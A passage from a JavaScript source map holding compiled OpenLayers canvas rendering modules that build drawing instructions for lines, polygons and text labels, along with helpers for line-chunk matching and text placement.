defaultLineDashOffset } from '../canvas.js';\nvar CanvasLineStringBuilder = /** @class */ (function (_super) {\n __extends(CanvasLineStringBuilder, _super);\n /**\n * @param {number} tolerance Tolerance.\n * @param {import(\"../../extent.js\").Extent} maxExtent Maximum extent.\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n */\n function CanvasLineStringBuilder(tolerance, maxExtent, resolution, pixelRatio) {\n return _super.call(this, tolerance, maxExtent, resolution, pixelRatio) || this;\n }\n /**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @private\n * @return {number} end.\n */\n CanvasLineStringBuilder.prototype.drawFlatCoordinates_ = function (flatCoordinates, offset, end, stride) {\n var myBegin = this.coordinates.length;\n var myEnd = this.appendFlatLineCoordinates(flatCoordinates, offset, end, stride, false, false);\n var moveToLineToInstruction = [\n CanvasInstruction.MOVE_TO_LINE_TO,\n myBegin,\n myEnd,\n ];\n this.instructions.push(moveToLineToInstruction);\n this.hitDetectionInstructions.push(moveToLineToInstruction);\n return end;\n };\n /**\n * @param {import(\"../../geom/LineString.js\").default|import(\"../Feature.js\").default} lineStringGeometry Line string geometry.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n */\n CanvasLineStringBuilder.prototype.drawLineString = function (lineStringGeometry, feature) {\n var state = this.state;\n var strokeStyle = state.strokeStyle;\n var lineWidth = state.lineWidth;\n if (strokeStyle === undefined || lineWidth === undefined) {\n return;\n }\n this.updateStrokeStyle(state, this.applyStroke);\n this.beginGeometry(lineStringGeometry, feature);\n this.hitDetectionInstructions.push([\n CanvasInstruction.SET_STROKE_STYLE,\n state.strokeStyle,\n state.lineWidth,\n state.lineCap,\n state.lineJoin,\n state.miterLimit,\n defaultLineDash,\n defaultLineDashOffset,\n ], beginPathInstruction);\n var flatCoordinates = lineStringGeometry.getFlatCoordinates();\n var stride = lineStringGeometry.getStride();\n this.drawFlatCoordinates_(flatCoordinates, 0, flatCoordinates.length, stride);\n this.hitDetectionInstructions.push(strokeInstruction);\n this.endGeometry(feature);\n };\n /**\n * @param {import(\"../../geom/MultiLineString.js\").default|import(\"../Feature.js\").default} multiLineStringGeometry MultiLineString geometry.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n */\n CanvasLineStringBuilder.prototype.drawMultiLineString = function (multiLineStringGeometry, feature) {\n var state = this.state;\n var strokeStyle = state.strokeStyle;\n var lineWidth = state.lineWidth;\n if (strokeStyle === undefined || lineWidth === undefined) {\n return;\n }\n this.updateStrokeStyle(state, this.applyStroke);\n this.beginGeometry(multiLineStringGeometry, feature);\n this.hitDetectionInstructions.push([\n CanvasInstruction.SET_STROKE_STYLE,\n state.strokeStyle,\n state.lineWidth,\n state.lineCap,\n state.lineJoin,\n state.miterLimit,\n state.lineDash,\n state.lineDashOffset,\n ], beginPathInstruction);\n var ends = multiLineStringGeometry.getEnds();\n var flatCoordinates = multiLineStringGeometry.getFlatCoordinates();\n var stride = multiLineStringGeometry.getStride();\n var offset = 0;\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n offset = this.drawFlatCoordinates_(flatCoordinates, offset, \n /** @type {number} */ (ends[i]), stride);\n }\n this.hitDetectionInstructions.push(strokeInstruction);\n this.endGeometry(feature);\n };\n /**\n * @return {import(\"../canvas.js\").SerializableInstructions} the serializable instructions.\n */\n CanvasLineStringBuilder.prototype.finish = function () {\n var state = this.state;\n if (state.lastStroke != undefined &&\n state.lastStroke != this.coordinates.length) {\n this.instructions.push(strokeInstruction);\n }\n this.reverseHitDetectionInstructions();\n this.state = null;\n return _super.prototype.finish.call(this);\n };\n /**\n * @param {import(\"../canvas.js\").FillStrokeState} state State.\n */\n CanvasLineStringBuilder.prototype.applyStroke = function (state) {\n if (state.lastStroke != undefined &&\n state.lastStroke != this.coordinates.length) {\n this.instructions.push(strokeInstruction);\n state.lastStroke = this.coordinates.length;\n }\n state.lastStroke = 0;\n _super.prototype.applyStroke.call(this, state);\n this.instructions.push(beginPathInstruction);\n };\n return CanvasLineStringBuilder;\n}(CanvasBuilder));\nexport default CanvasLineStringBuilder;\n//# sourceMappingURL=LineStringBuilder.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/render/canvas/PolygonBuilder\n */\nimport CanvasBuilder from './Builder.js';\nimport CanvasInstruction, { beginPathInstruction, closePathInstruction, fillInstruction, strokeInstruction, } from './Instruction.js';\nimport { defaultFillStyle } from '../canvas.js';\nimport { snap } from '../../geom/flat/simplify.js';\nvar CanvasPolygonBuilder = /** @class */ (function (_super) {\n __extends(CanvasPolygonBuilder, _super);\n /**\n * @param {number} tolerance Tolerance.\n * @param {import(\"../../extent.js\").Extent} maxExtent Maximum extent.\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n */\n function CanvasPolygonBuilder(tolerance, maxExtent, resolution, pixelRatio) {\n return _super.call(this, tolerance, maxExtent, resolution, pixelRatio) || this;\n }\n /**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @private\n * @return {number} End.\n */\n CanvasPolygonBuilder.prototype.drawFlatCoordinatess_ = function (flatCoordinates, offset, ends, stride) {\n var state = this.state;\n var fill = state.fillStyle !== undefined;\n var stroke = state.strokeStyle !== undefined;\n var numEnds = ends.length;\n this.instructions.push(beginPathInstruction);\n this.hitDetectionInstructions.push(beginPathInstruction);\n for (var i = 0; i < numEnds; ++i) {\n var end = ends[i];\n var myBegin = this.coordinates.length;\n var myEnd = this.appendFlatLineCoordinates(flatCoordinates, offset, end, stride, true, !stroke);\n var moveToLineToInstruction = [\n CanvasInstruction.MOVE_TO_LINE_TO,\n myBegin,\n myEnd,\n ];\n this.instructions.push(moveToLineToInstruction);\n this.hitDetectionInstructions.push(moveToLineToInstruction);\n if (stroke) {\n // Performance optimization: only call closePath() when we have a stroke.\n // Otherwise the ring is closed already (see appendFlatLineCoordinates above).\n this.instructions.push(closePathInstruction);\n this.hitDetectionInstructions.push(closePathInstruction);\n }\n offset = end;\n }\n if (fill) {\n this.instructions.push(fillInstruction);\n this.hitDetectionInstructions.push(fillInstruction);\n }\n if (stroke) {\n this.instructions.push(strokeInstruction);\n this.hitDetectionInstructions.push(strokeInstruction);\n }\n return offset;\n };\n /**\n * @param {import(\"../../geom/Circle.js\").default} circleGeometry Circle geometry.\n * @param {import(\"../../Feature.js\").default} feature Feature.\n */\n CanvasPolygonBuilder.prototype.drawCircle = function (circleGeometry, feature) {\n var state = this.state;\n var fillStyle = state.fillStyle;\n var strokeStyle = state.strokeStyle;\n if (fillStyle === undefined && strokeStyle === undefined) {\n return;\n }\n this.setFillStrokeStyles_();\n this.beginGeometry(circleGeometry, feature);\n if (state.fillStyle !== undefined) {\n this.hitDetectionInstructions.push([\n CanvasInstruction.SET_FILL_STYLE,\n defaultFillStyle,\n ]);\n }\n if (state.strokeStyle !== undefined) {\n this.hitDetectionInstructions.push([\n CanvasInstruction.SET_STROKE_STYLE,\n state.strokeStyle,\n state.lineWidth,\n state.lineCap,\n state.lineJoin,\n state.miterLimit,\n state.lineDash,\n state.lineDashOffset,\n ]);\n }\n var flatCoordinates = circleGeometry.getFlatCoordinates();\n var stride = circleGeometry.getStride();\n var myBegin = this.coordinates.length;\n this.appendFlatLineCoordinates(flatCoordinates, 0, flatCoordinates.length, stride, false, false);\n var circleInstruction = [CanvasInstruction.CIRCLE, myBegin];\n this.instructions.push(beginPathInstruction, circleInstruction);\n this.hitDetectionInstructions.push(beginPathInstruction, circleInstruction);\n if (state.fillStyle !== undefined) {\n this.instructions.push(fillInstruction);\n this.hitDetectionInstructions.push(fillInstruction);\n }\n if (state.strokeStyle !== undefined) {\n this.instructions.push(strokeInstruction);\n this.hitDetectionInstructions.push(strokeInstruction);\n }\n this.endGeometry(feature);\n };\n /**\n * @param {import(\"../../geom/Polygon.js\").default|import(\"../Feature.js\").default} polygonGeometry Polygon geometry.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n */\n CanvasPolygonBuilder.prototype.drawPolygon = function (polygonGeometry, feature) {\n var state = this.state;\n var fillStyle = state.fillStyle;\n var strokeStyle = state.strokeStyle;\n if (fillStyle === undefined && strokeStyle === undefined) {\n return;\n }\n this.setFillStrokeStyles_();\n this.beginGeometry(polygonGeometry, feature);\n if (state.fillStyle !== undefined) {\n this.hitDetectionInstructions.push([\n CanvasInstruction.SET_FILL_STYLE,\n defaultFillStyle,\n ]);\n }\n if (state.strokeStyle !== undefined) {\n this.hitDetectionInstructions.push([\n CanvasInstruction.SET_STROKE_STYLE,\n state.strokeStyle,\n state.lineWidth,\n state.lineCap,\n state.lineJoin,\n state.miterLimit,\n state.lineDash,\n state.lineDashOffset,\n ]);\n }\n var ends = polygonGeometry.getEnds();\n var flatCoordinates = polygonGeometry.getOrientedFlatCoordinates();\n var stride = polygonGeometry.getStride();\n this.drawFlatCoordinatess_(flatCoordinates, 0, \n /** @type {Array<number>} */ (ends), stride);\n this.endGeometry(feature);\n };\n /**\n * @param {import(\"../../geom/MultiPolygon.js\").default} multiPolygonGeometry MultiPolygon geometry.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n */\n CanvasPolygonBuilder.prototype.drawMultiPolygon = function (multiPolygonGeometry, feature) {\n var state = this.state;\n var fillStyle = state.fillStyle;\n var strokeStyle = state.strokeStyle;\n if (fillStyle === undefined && strokeStyle === undefined) {\n return;\n }\n this.setFillStrokeStyles_();\n this.beginGeometry(multiPolygonGeometry, feature);\n if (state.fillStyle !== undefined) {\n this.hitDetectionInstructions.push([\n CanvasInstruction.SET_FILL_STYLE,\n defaultFillStyle,\n ]);\n }\n if (state.strokeStyle !== undefined) {\n this.hitDetectionInstructions.push([\n CanvasInstruction.SET_STROKE_STYLE,\n state.strokeStyle,\n state.lineWidth,\n state.lineCap,\n state.lineJoin,\n state.miterLimit,\n state.lineDash,\n state.lineDashOffset,\n ]);\n }\n var endss = multiPolygonGeometry.getEndss();\n var flatCoordinates = multiPolygonGeometry.getOrientedFlatCoordinates();\n var stride = multiPolygonGeometry.getStride();\n var offset = 0;\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n offset = this.drawFlatCoordinatess_(flatCoordinates, offset, endss[i], stride);\n }\n this.endGeometry(feature);\n };\n /**\n * @return {import(\"../canvas.js\").SerializableInstructions} the serializable instructions.\n */\n CanvasPolygonBuilder.prototype.finish = function () {\n this.reverseHitDetectionInstructions();\n this.state = null;\n // We want to preserve topology when drawing polygons. Polygons are\n // simplified using quantization and point elimination. However, we might\n // have received a mix of quantized and non-quantized geometries, so ensure\n // that all are quantized by quantizing all coordinates in the batch.\n var tolerance = this.tolerance;\n if (tolerance !== 0) {\n var coordinates = this.coordinates;\n for (var i = 0, ii = coordinates.length; i < ii; ++i) {\n coordinates[i] = snap(coordinates[i], tolerance);\n }\n }\n return _super.prototype.finish.call(this);\n };\n /**\n * @private\n */\n CanvasPolygonBuilder.prototype.setFillStrokeStyles_ = function () {\n var state = this.state;\n var fillStyle = state.fillStyle;\n if (fillStyle !== undefined) {\n this.updateFillStyle(state, this.createFill);\n }\n if (state.strokeStyle !== undefined) {\n this.updateStrokeStyle(state, this.applyStroke);\n }\n };\n return CanvasPolygonBuilder;\n}(CanvasBuilder));\nexport default CanvasPolygonBuilder;\n//# sourceMappingURL=PolygonBuilder.js.map","/**\n * @module ol/geom/flat/straightchunk\n */\n/**\n * @param {number} maxAngle Maximum acceptable angle delta between segments.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @return {Array<number>} Start and end of the first suitable chunk of the\n * given `flatCoordinates`.\n */\nexport function matchingChunk(maxAngle, flatCoordinates, offset, end, stride) {\n var chunkStart = offset;\n var chunkEnd = offset;\n var chunkM = 0;\n var m = 0;\n var start = offset;\n var acos, i, m12, m23, x1, y1, x12, y12, x23, y23;\n for (i = offset; i < end; i += stride) {\n var x2 = flatCoordinates[i];\n var y2 = flatCoordinates[i + 1];\n if (x1 !== undefined) {\n x23 = x2 - x1;\n y23 = y2 - y1;\n m23 = Math.sqrt(x23 * x23 + y23 * y23);\n if (x12 !== undefined) {\n m += m12;\n acos = Math.acos((x12 * x23 + y12 * y23) / (m12 * m23));\n if (acos > maxAngle) {\n if (m > chunkM) {\n chunkM = m;\n chunkStart = start;\n chunkEnd = i;\n }\n m = 0;\n start = i - stride;\n }\n }\n m12 = m23;\n x12 = x23;\n y12 = y23;\n }\n x1 = x2;\n y1 = y2;\n }\n m += m23;\n return m > chunkM ? [start, i] : [chunkStart, chunkEnd];\n}\n//# sourceMappingURL=straightchunk.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/render/canvas/TextBuilder\n */\nimport CanvasBuilder from './Builder.js';\nimport CanvasInstruction from './Instruction.js';\nimport TextPlacement from '../../style/TextPlacement.js';\nimport { asColorLike } from '../../colorlike.js';\nimport { defaultFillStyle, defaultFont, defaultLineCap, defaultLineDash, defaultLineDashOffset, defaultLineJoin, defaultLineWidth, defaultMiterLimit, defaultPadding, defaultStrokeStyle, defaultTextAlign, defaultTextBaseline, registerFont, } from '../canvas.js';\nimport { getUid } from '../../util.js';\nimport { intersects } from '../../extent.js';\nimport { matchingChunk } from '../../geom/flat/straightchunk.js';\n/**\n * @const\n * @enum {number}\n */\nexport var TEXT_ALIGN = {\n 'left': 0,\n 'end': 0,\n 'center': 0.5,\n 'right': 1,\n 'start': 1,\n 'top': 0,\n 'middle': 0.5,\n 'hanging': 0.2,\n 'alphabetic': 0.8,\n 'ideographic': 0.8,\n 'bottom': 1,\n};\nvar CanvasTextBuilder = /** @class */ (function (_super) {\n __extends(CanvasTextBuilder, _super);\n /**\n * @param {number} tolerance Tolerance.\n * @param {import(\"../../extent.js\").Extent} maxExtent Maximum extent.\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n */\n function CanvasTextBuilder(tolerance, maxExtent, resolution, pixelRatio) {\n var _this = _super.call(this, tolerance, maxExtent, resolution, pixelRatio) || this;\n /**\n * @private\n * @type {Array<HTMLCanvasElement>}\n */\n _this.labels_ = null;\n /**\n * @private\n * @type {string|Array<string>}\n */\n _this.text_ = '';\n /**\n * @private\n * @type {number}\n */\n _this.textOffsetX_ = 0;\n /**\n * @private\n * @type {number}\n */\n _this.textOffsetY_ = 0;\n /**\n * @private\n * @type {boolean|undefined}\n */\n _this.textRotateWithView_ = undefined;\n /**\n * @private\n * @type {number}\n */\n _this.textRotation_ = 0;\n /**\n * @private\n * @type {?import(\"../canvas.js\").FillState}\n */\n _this.textFillState_ = null;\n /**\n * @type {!Object<string, import(\"../canvas.js\").FillState>}\n */\n _this.fillStates = {};\n /**\n * @private\n * @type {?import(\"../canvas.js\").StrokeState}\n */\n _this.textStrokeState_ = null;\n /**\n * @type {!Object<string, import(\"../canvas.js\").StrokeState>}\n */\n _this.strokeStates = {};\n /**\n * @private\n * @type {import(\"../canvas.js\").TextState}\n */\n _this.textState_ = /** @type {import(\"../canvas.js\").TextState} */ ({});\n /**\n * @type {!Object<string, import(\"../canvas.js\").TextState>}\n */\n _this.textStates = {};\n /**\n * @private\n * @type {string}\n */\n _this.textKey_ = '';\n /**\n * @private\n * @type {string}\n */\n _this.fillKey_ = '';\n /**\n * @private\n * @type {string}\n */\n _this.strokeKey_ = '';\n /**\n * Data shared with an image builder for combined decluttering.\n * @private\n * @type {import(\"../canvas.js\").DeclutterImageWithText}\n */\n _this.declutterImageWithText_ = undefined;\n return _this;\n }\n /**\n * @return {import(\"../canvas.js\").SerializableInstructions} the serializable instructions.\n */\n CanvasTextBuilder.prototype.finish = function () {\n var instructions = _super.prototype.finish.call(this);\n instructions.textStates = this.textStates;\n instructions.fillStates = this.fillStates;\n instructions.strokeStates = this.strokeStates;\n return instructions;\n };\n /**\n * @param {import(\"../../geom/SimpleGeometry.js\").default|import(\"../Feature.js\").default} geometry Geometry.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n */\n CanvasTextBuilder.prototype.drawText = function (geometry, feature) {\n var fillState = this.textFillState_;\n var strokeState = this.textStrokeState_;\n var textState = this.textState_;\n if (this.text_ === '' || !textState || (!fillState && !strokeState)) {\n return;\n }\n var coordinates = this.coordinates;\n var begin = coordinates.length;\n var geometryType = geometry.getType();\n var flatCoordinates = null;\n var stride = geometry.getStride();\n if (textState.placement === TextPlacement.LINE &&\n (geometryType == 'LineString' ||\n geometryType == 'MultiLineString' ||\n geometryType == 'Polygon' ||\n geometryType == 'MultiPolygon')) {\n if (!intersects(this.getBufferedMaxExtent(), geometry.getExtent())) {\n return;\n }\n var ends = void 0;\n flatCoordinates = geometry.getFlatCoordinates();\n if (geometryType == 'LineString') {\n ends = [flatCoordinates.length];\n }\n else if (geometryType == 'MultiLineString') {\n ends = /** @type {import(\"../../geom/MultiLineString.js\").default} */ (geometry).getEnds();\n }\n else if (geometryType == 'Polygon') {\n ends = /** @type {import(\"../../geom/Polygon.js\").default} */ (geometry)\n .getEnds()\n .slice(0, 1);\n }\n else if (geometryType == 'MultiPolygon') {\n var endss = \n /** @type {import(\"../../geom/MultiPolygon.js\").default} */ (geometry).getEndss();\n ends = [];\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n ends.push(endss[i][0]);\n }\n }\n this.beginGeometry(geometry, feature);\n var textAlign = textState.textAlign;\n // No `justify` support for line placement.\n var flatOffset = 0;\n var flatEnd = void 0;\n for (var o = 0, oo = ends.length; o < oo; ++o) {\n if (textAlign == undefined) {\n var range = matchingChunk(textState.maxAngle, flatCoordinates, flatOffset, ends[o], stride);\n flatOffset = range[0];\n flatEnd = range[1];\n }\n else {\n flatEnd = ends[o];\n }\n for (var i = flatOffset; i < flatEnd; i += stride) {\n coordinates.push(flatCoordinates[i], flatCoordinates[i + 1]);\n }\n var end = coordinates.length;\n flatOffset = ends[o];\n this.drawChars_(begin, end);\n begin = end;\n }\n this.endGeometry(feature);\n }\n else {\n var geometryWidths = textState.overflow ? null : [];\n switch (geometryType) {\n case 'Point':\n case 'MultiPoint':\n flatCoordinates =\n /** @type {import(\"../../geom/MultiPoint.js\").default} */ (geometry).getFlatCoordinates();\n break;\n case 'LineString':\n flatCoordinates =\n /** @type {import(\"../../geom/LineString.js\").default} */ (geometry).getFlatMidpoint();\n break;\n case 'Circle':\n flatCoordinates =\n /** @type {import(\"../../geom/Circle.js\").default} */ (geometry).getCenter();\n break;\n case 'MultiLineString':\n flatCoordinates =\n /** @type {import(\"../../geom/MultiLineString.js\").default} */ (geometry).getFlatMidpoints();\n stride = 2;\n break;\n case 'Polygon':\n flatCoordinates =\n /** @type {import(\"../../geom/Polygon.js\").default} */ (geometry).getFlatInteriorPoint();\n if (!textState.overflow) {\n geometryWidths.push(flatCoordinates[2] / this.resolution);\n }\n stride = 3;\n break;\n case 'MultiPolygon':\n var interiorPoints = \n /** @type {import(\"../../geom/MultiPolygon.js\").default} */ (geometry).getFlatInteriorPoints();\n flatCoordinates = [];\n for (var i = 0, ii = interiorPoints.length; i < ii; i += 3) {\n if (!textState.overflow) {\n geometryWidths.push(interiorPoints[i + 2] / this.resolution);\n }\n flatCoordinates.push(interiorPoints[i], interiorPoints[i + 1]);\n }\n if (flatCoordinates.length === 0) {\n return;\n }\n stride = 2;\n break;\n default:\n }\n var end = this.appendFlatPointCoordinates(flatCoordinates, stride);\n if (end === begin) {\n return;\n }\n if (geometryWidths &&\n (end - begin) / 2 !== flatCoordinates.length / stride) {\n var beg_1 = begin / 2;\n geometryWidths = geometryWidths.filter(function (w, i) {\n var keep = coordinates[(beg_1 + i) * 2] === flatCoordinates[i * stride] &&\n coordinates[(beg_1 + i) * 2 + 1] === flatCoordinates[i * stride + 1];\n if (!keep) {\n --beg_1;\n }\n return keep;\n });\n }\n this.saveTextStates_();\n if (textState.backgroundFill || textState.backgroundStroke) {\n this.setFillStrokeStyle(textState.backgroundFill, textState.backgroundStroke);\n if (textState.backgroundFill) {\n this.updateFillStyle(this.state, this.createFill);\n this.hitDetectionInstructions.push(this.createFill(this.state));\n }\n if (textState.backgroundStroke) {\n this.updateStrokeStyle(this.state, this.applyStroke);\n this.hitDetectionInstructions.push(this.createStroke(this.state));\n }\n }\n this.beginGeometry(geometry, feature);\n // adjust padding for negative scale\n var padding = textState.padding;\n if (padding != defaultPadding &&\n (textState.scale[0] < 0 || textState.scale[1] < 0)) {\n var p0 = textState.padding[0];\n var p1 = textState.padding[1];\n var p2 = textState.padding[2];\n var p3 = textState.padding[3];\n if (textState.scale[0] < 0) {\n p1 = -p1;\n p3 = -p3;\n }\n if (textState.scale[1] < 0) {\n p0 = -p0;\n p2 = -p2;\n }\n padding = [p0, p1, p2, p3];\n }\n // The image is unknown at this stage so we pass null; it will be computed at render time.\n // For clarity, we pass NaN for offsetX, offsetY, width and height, which will be computed at\n // render time.\n var pixelRatio_1 = this.pixelRatio;\n this.instructions.push([\n CanvasInstruction.DRAW_IMAGE,\n begin,\n end,\n null,\n NaN,\n NaN,\n NaN,\n 1,\n 0,\n 0,\n this.textRotateWithView_,\n this.textRotation_,\n [1, 1],\n NaN,\n undefined,\n this.declutterImageWithText_,\n padding == defaultPadding\n ? defaultPadding\n : padding.map(function (p) {\n return p * pixelRatio_1;\n }),\n !!textState.backgroundFill,\n !!textState.backgroundStroke,\n this.text_,\n this.textKey_,\n this.strokeKey_,\n this.fillKey_,\n this.textOffsetX_,\n this.textOffsetY_,\n geometryWidths,\n ]);\n var scale = 1 / pixelRatio_1;\n this.hitDetectionInstructions.push([\n CanvasInstruction.DRAW_IMAGE,\n begin,\n end,\n null,\n NaN,\n NaN,\n NaN,\n 1,\n 0,\n 0,\n this.textRotateWithView_,\n this.textRotation_,\n [scale, scale],\n NaN,\n undefined,\n this.declutterImageWithText_,\n padding,\n !!textState.backgroundFill,\n !!textState.backgroundStroke,\n this.text_,\n this.textKey_,\n this.strokeKey_,\n this.fillKey_,\n this.textOffsetX_,\n this.textOffsetY_,\n geometryWidths,\n ]);\n this.endGeometry(feature);\n }\n };\n /**\n * @private\n */\n CanvasTextBuilder.prototype.saveTextStates_ = function () {\n var strokeState = this.textStrokeState_;\n var textState = this.textState_;\n var fillState = this.textFillState_;\n var strokeKey = this.strokeKey_;\n if (strokeState) {\n if (!(strokeKey in this.strokeStates)) {\n this.strokeStates[strokeKey] = {\n strokeStyle: strokeState.strokeStyle,\n lineCap: strokeState.lineCap,\n lineDashOffset: strokeState.lineDashOffset,\n lineWidth: strokeState.lineWidth,\n lineJoin: strokeState.lineJoin,\n miterLimit: strokeState.miterLimit,\n lineDash: strokeState.lineDash,\n };\n }\n }\n var textKey = this.textKey_;\n if (!(textKey in this.textStates)) {\n this.textStates[textKey] = {\n font: textState.font,\n textAlign: textState.textAlign || defaultTextAlign,\n justify: textState.justify,\n textBaseline: textState.textBaseline || defaultTextBaseline,\n scale: textState.scale,\n };\n }\n var fillKey = this.fillKey_;\n if (fillState) {\n if (!(fillKey in this.fillStates)) {\n this.fillStates[fillKey] = {\n fillStyle: fillState.fillStyle,\n };\n }\n }\n };\n /**\n * @private\n * @param {number} begin Begin.\n * @param {number} end End.\n */\n CanvasTextBuilder.prototype.drawChars_ = function (begin, end) {\n var strokeState = this.textStrokeState_;\n var textState = this.textState_;\n var strokeKey = this.strokeKey_;\n var textKey = this.textKey_;\n var fillKey = this.fillKey_;\n this.saveTextStates_();\n var pixelRatio = this.pixelRatio;\n var baseline = TEXT_ALIGN[textState.textBaseline];\n var offsetY = this.textOffsetY_ * pixelRatio;\n var text = this.text_;\n var strokeWidth = strokeState\n ? (strokeState.lineWidth * Math.abs(textState.scale[0])) / 2\n : 0;\n this.instructions.push([\n CanvasInstruction.DRAW_CHARS,\n begin,\n end,\n baseline,\n textState.overflow,\n fillKey,\n textState.maxAngle,\n pixelRatio,\n offsetY,\n strokeKey,\n strokeWidth * pixelRatio,\n text,\n textKey,\n 1,\n ]);\n this.hitDetectionInstructions.push([\n CanvasInstruction.DRAW_CHARS,\n begin,\n end,\n baseline,\n textState.overflow,\n fillKey,\n textState.maxAngle,\n 1,\n offsetY,\n strokeKey,\n strokeWidth,\n text,\n textKey,\n 1 / pixelRatio,\n ]);\n };\n /**\n * @param {import(\"../../style/Text.js\").default} textStyle Text style.\n * @param {Object} [opt_sharedData] Shared data.\n */\n CanvasTextBuilder.prototype.setTextStyle = function (textStyle, opt_sharedData) {\n var textState, fillState, strokeState;\n if (!textStyle) {\n this.text_ = '';\n }\n else {\n var textFillStyle = textStyle.getFill();\n if (!textFillStyle) {\n fillState = null;\n this.textFillState_ = fillState;\n }\n else {\n fillState = this.textFillState_;\n if (!fillState) {\n fillState = /** @type {import(\"../canvas.js\").FillState} */ ({});\n this.textFillState_ = fillState;\n }\n fillState.fillStyle = asColorLike(textFillStyle.getColor() || defaultFillStyle);\n }\n var textStrokeStyle = textStyle.getStroke();\n if (!textStrokeStyle) {\n strokeState = null;\n this.textStrokeState_ = strokeState;\n }\n else {\n strokeState = this.textStrokeState_;\n if (!strokeState) {\n strokeState = /** @type {import(\"../canvas.js\").StrokeState} */ ({});\n this.textStrokeState_ = strokeState;\n }\n var lineDash = textStrokeStyle.getLineDash();\n var lineDashOffset = textStrokeStyle.getLineDashOffset();\n var lineWidth = textStrokeStyle.getWidth();\n var miterLimit = textStrokeStyle.getMiterLimit();\n strokeState.lineCap = textStrokeStyle.getLineCap() || defaultLineCap;\n strokeState.lineDash = lineDash ? lineDash.slice() : defaultLineDash;\n strokeState.lineDashOffset =\n lineDashOffset === undefined ? defaultLineDashOffset : lineDashOffset;\n strokeState.lineJoin = textStrokeStyle.getLineJoin() || defaultLineJoin;\n strokeState.lineWidth =\n lineWidth === undefined ? defaultLineWidth : lineWidth;\n strokeState.miterLimit =\n miterLimit === undefined ? defaultMiterLimit : miterLimit;\n strokeState.strokeStyle = asColorLike(textStrokeStyle.getColor() || defaultStrokeStyle);\n }\n textState = this.textState_;\n var font = textStyle.getFont() || defaultFont;\n registerFont(font);\n var textScale = textStyle.getScaleArray();\n textState.overflow = textStyle.getOverflow();\n textState.font = font;\n textState.maxAngle = textStyle.getMaxAngle();\n textState.placement = textStyle.getPlacement();\n textState.textAlign = textStyle.getTextAlign();\n textState.justify = textStyle.getJustify();\n textState.textBaseline =\n textStyle.getTextBaseline() || defaultTextBaseline;\n textState.backgroundFill = textStyle.getBackgroundFill();\n textState.backgroundStroke = textStyle.getBackgroundStroke();\n textState.padding = textStyle.getPadding() || defaultPadding;\n textState.scale = textScale === undefined ? [1, 1] : textScale;\n var textOffsetX = textStyle.getOffsetX();\n var textOffsetY = textStyle.getOffsetY();\n var textRotateWithView = textStyle.getRotateWithView();\n var textRotation = textStyle.getRotation();\n this.text_ = textStyle.getText() || '';\n this.textOffsetX_ = textOffsetX === undefined ? 0 : textOffsetX;\n this.textOffsetY_ = textOffsetY === undefined ? 0 : textOffsetY;\n this.textRotateWithView_ =\n textRotateWithView === undefined ? false : textRotateWithView;\n this.textRotation_ = textRotation === undefined ? 0 : textRotation;\n this.strokeKey_ = strokeState\n ? (typeof strokeState.strokeStyle == 'string'\n ? strokeState.strokeStyle\n : getUid(strokeState.strokeStyle)) +\n strokeState.lineCap +\n strokeState.lineDashOffset +\n '|' +\n strokeState.lineWidth +\n strokeState.lineJoin +\n strokeState.miterLimit +\n '[' +\n strokeState.lineDash.join() +\n ']'\n : '';\n this.textKey_ =\n textState.font +\n textState.scale +\n (textState.textAlign || '?') +\n (textState.justify || '?') +\n (textState.textBaseline || '?');\n this.fillKey_ = fillState\n ? typeof fillState.fillStyle == 'string'\n ? fillState.fillStyle\n : '|' + getUid(fillState.fillStyle)\n : '';\n }\n this.declutterImageWithText_ = opt_sharedData;\n };\n return CanvasTextBuilder;\n}(CanvasBuilder));\nexport default CanvasTextBuilder;\n//# sourceMappingURL=TextBuilder.js.map","/**\n * @module ol/style/TextPlacement\n */\n/**\n * Text placement. One of `'point'`, `'line'`. Default is `'point'`. Note that\n * `'line'` requires the underlying geometry to be a {@link module:ol/geom/LineString~LineString},\n * {@link module:ol/geom/Polygon~Polygon}, {@link module:ol/geom/MultiLineString~MultiLineString} or\n * {@link module:ol/geom/MultiPolygon~MultiPolygon}.\n * @enum {string}\n */\nexport default {\n POINT: 'point',\n LINE: 'line',\n};\n//# sourceMappingURL=TextPlacement.js.map","/**\n * @module ol/render/canvas/BuilderGroup\n */\nimport Builder from './Builder.js';\nimport 